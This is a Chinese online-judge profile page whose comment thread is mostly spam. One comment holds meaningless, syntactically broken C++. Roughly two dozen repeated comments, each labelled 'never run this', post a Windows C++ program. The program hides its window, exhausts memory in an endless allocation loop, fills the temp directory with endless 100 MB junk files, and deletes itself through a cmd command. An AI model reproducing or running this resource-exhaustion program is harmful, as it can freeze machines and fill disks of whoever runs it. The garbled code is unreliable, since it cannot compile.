没什莫

29 条评论

  • @ 2025-4-17 19:14:29

    运行就炸了。。。下面的

    • @ 2025-4-16 17:56:52 
      #include <iostream>
using namespace std;
int main() {
	
	SIG_DFLsdf
	switch (fscanf_s(for(switch (fscanf_s(do{
		
		WINPTHREADS_ATTRIBUTE(do{
			sadsad
			is_standard_layouta
			
			isdigit(asmd
				isdigit(isalnum(do{
					isalnum(switch (do{
						isalnum(pthread_condattr_setpshared(isalnum(WINPTHREADS_ATTRIBUTE(do{
							srand(asmdsad
								isalnum(bad_castd
									switch (endsddsadas
										data(do{
											switch (do{
												addressof(do{
													asmdasd
													asmd
													asmdsas
													MINGW_HAS_DDK_Has
													do{
														srand(asmdsada
															isdigit(isalnum(do{
																asmdsad
																WAIT_GRANDCHILDd
																asctime_s(srand(isalnum(bad_castd
																	isalnum(do{
																		addressof(do{
																			sadsad
																			isalnum(do{
																				srand(isalnum(bad_castdsad
																					isalnum(do{
																						isalnum(do{
																							asctime_s(endsadasd
																								isalnum(do{
																									srand(isalnum(do{
																										switch (data(wcsftime(while(char_traitsed
																											
																											EWOULDBLOCKds
																											wcsxfrm(vfprintf_s(xorfv
																												isxdigit(fscanf_s(
																													isdigit(fgetc(switch (for(pthread_self()pthread_condattr_setpshared(switch (endsfsdfsdfdf
																														
																														
																														isdigit(is_default_constructible
																															for(is_default_constructiblesdfsd
																																for(switch (for(switch (for(isalnum(fscanf_s(fscanf_s(for(isalnum(do{
																																	switch (fread_s(isdigit(switch (rethrow_if_nested(for(pthread_self()for(
																																		fscanf_s(for(getenv_s(switch (switch (for(is_default_constructiblefsd
																																			switch (class wcsdup(for(switch (for(
																																				is_default_constructibleds
																																				for(isdigit(scanf_s(switch (ds) {
																																				case 1:
																																					//TODO
																																					break;
																																				case 2:
																																					//TODO
																																					break;
																																				default:
																																					//TODO
																																					break;
																																				}));i<=0;i++){
																																					//TODO
																																				};i<=0;i++){
																																				//TODO
																																			}) {
																																			case 1:
																																				//TODO
																																				break;
																																			case 2:
																																				//TODO
																																				break;
																																			default:
																																				//TODO
																																				break;
																																			};i<=0;i++){
																																				//TODO
																																			}) {
																																				int YourVar;
																																			public:
																																				YourClassName() {
																																					
																																				}
																																				~YourClassName() {
																																					
																																				}
																																				void YourMethodOrFunction() {
																																					
																																				}
																																			};) {
																																			case 1:
																																				//TODO
																																				break;
																																			case 2:
																																				//TODO
																																				break;
																																			default:
																																				//TODO
																																				break;
																																			};i<=0;i++){
																																			//TODO
																																		}) {
																																		case 1:
																																			//TODO
																																			break;
																																		case 2:
																																			//TODO
																																			break;
																																		default:
																																			//TODO
																																			break;
																																		}) {
																																		case 1:
																																			//TODO
																																			break;
																																		case 2:
																																			//TODO
																																			break;
																																		default:
																																			//TODO
																																			break;
																																		});i<=0;i++){
																																			//TODO
																																		});i<=0;i++){
																																		//TODO
																																	};i<=0;i++){
																																		//TODO
																																	})) {
																																	case 1:
																																		//TODO
																																		break;
																																	case 2:
																																		//TODO
																																		break;
																																	default:
																																		//TODO
																																		break;
																																	}))) {
																																	case 1:
																																		//TODO
																																		break;
																																	case 2:
																																		//TODO
																																		break;
																																	default:
																																		//TODO
																																		break;
																																	}
																																}while(1););i<=0;i++){
																																	//TODO
																																})));i<=0;i++){
																																	//TODO
																																}) {
																																case 1:
																																	//TODO
																																	break;
																																case 2:
																																	//TODO
																																	break;
																																default:
																																	//TODO
																																	break;
																																};i<=0;i++){
																																	//TODO
																																}) {
																																case 1:
																																	//TODO
																																	break;
																																case 2:
																																	//TODO
																																	break;
																																default:
																																	//TODO
																																	break;
																																};i<=0;i++){
																																	//TODO
																																};i<=0;i++){
																																//TODO
																															})) {
																													case 1:
																														//TODO
																														break;
																													case 2:
																														//TODO
																														break;
																													default:
																														//TODO
																														break;
																													});i<=0;i++){
																														//TODO
																													}) {
																													case 1:
																														//TODO
																														break;
																													case 2:
																														//TODO
																														break;
																													default:
																														//TODO
																														break;
																													}))))))){
																											//TODO
																										}))) {
																										case 1:
																											//TODO
																											break;
																										case 2:
																											//TODO
																											break;
																										default:
																											//TODO
																											break;
																										}
																									}while(1);))
																								}while(1);))
																						}while(1);)
																					}while(1);)))
																			}while(1);)
																		}while(1);)
																	}while(1);))))
															}while(1);)))
													}while(1);
												}while(1);)
											}while(1);) {
											case 1:
												//TODO
												break;
											case 2:
												//TODO
												break;
											default:
												//TODO
												break;
											}
										}while(1);)) {
									case 1:
										//TODO
										break;
									case 2:
										//TODO
										break;
									default:
										//TODO
										break;
									}))
						}while(1);))))
					}while(1);) {
					case 1:
						//TODO
						break;
					case 2:
						//TODO
						break;
					default:
						//TODO
						break;
					})
				}while(1);)))
		}while(1);)
	}while(1);)) {
	case 1:
		//TODO
		break;
	case 2:
		//TODO
		break;
	default:
		//TODO
		break;
	};i<=0;i++){
		//TODO
	})) {
	case 1:
		//TODO
		break;
	case 2:
		//TODO
		break;
	default:
		//TODO
		break;
	}
	return 0;
}
    • @ 2025-4-13 17:32:47

      👍👍👍👍👍👍👍👍

      • @ 2025-4-12 8:27:05

        ☢☢☢☣☢☢☢

      • @ 2025-3-23 14:45:55

        千万不要运行

        #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
        • @ 2025-3-23 14:45:52

          千万不要运行

          #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
          • @ 2025-3-23 14:45:48

            千万不要运行

            #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
            • @ 2025-3-23 14:45:45

              千万不要运行

              #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
              • @ 2025-3-23 14:45:43

                千万不要运行

                #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                • @ 2025-3-23 14:45:40

                  千万不要运行

                  #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                  • @ 2025-3-23 14:45:37

                    千万不要运行

                    #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                    • @ 2025-3-23 14:45:35

                      千万不要运行

                      #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                      • @ 2025-3-23 14:45:33

                        千万不要运行

                        #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                        • @ 2025-3-23 14:45:30

                          千万不要运行

                          #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                          • @ 2025-3-23 14:45:27

                            千万不要运行

                            #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                            • @ 2025-3-23 14:45:24

                              千万不要运行

                              #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                              • @ 2025-3-23 14:45:21

                                千万不要运行

                                #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                • @ 2025-3-23 14:45:18

                                  千万不要运行

                                  #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                  • @ 2025-3-23 14:45:13

                                    千万不要运行

                                    #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                    • @ 2025-3-23 14:45:11

                                      千万不要运行

                                      #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                      • @ 2025-3-23 14:45:08

                                        千万不要运行

                                        #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                        • @ 2025-3-23 14:45:06

                                          千万不要运行

                                          #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                          • @ 2025-3-23 14:45:03

                                            千万不要运行

                                            #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                            • @ 2025-3-23 14:45:01

                                              千万不要运行

                                              #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                              • @ 2025-3-23 14:44:59

                                                千万不要运行

                                                #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                                • @ 2025-3-23 14:44:56

                                                  千万不要运行

                                                  #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                                  • @ 2025-3-23 14:44:52

                                                    千万不要运行

                                                    #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                                    • @ 2025-3-23 14:44:39

                                                      千万不要运行

                                                      #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                                      • @ 2025-3-23 14:44:35

                                                        千万不要运行

                                                        #include <windows.h>
#include <thread>

void SystemAttack() {
    while(true) {
        VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
    }
}

void FileAttack() {
    char tmpPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tmpPath);
    for(int i=0;;i++) {
        std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
            .seekp(100 * 1024 * 1024-1).put(0);
    }
}

void SelfDestruct() {
    system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    std::thread t1(SystemAttack);
    std::thread t2(FileAttack);
    
    t1.detach();
    t2.detach();
    
    SelfDestruct();
    while(true);
}
                                                        • 1
                                                        0
                                                        已通过
                                                        0
                                                        题解被赞
                                                        1. 关于
                                                        2. 联系我们
                                                        3. 隐私
                                                        4. 服务条款
                                                        5. 版权申诉
                                                        6. Language
                                                        7. 兼容模式
                                                        8. 主题
                                                        4. Worker 0, 129ms
                                                        5. Powered by Hydro v4.19.1 Community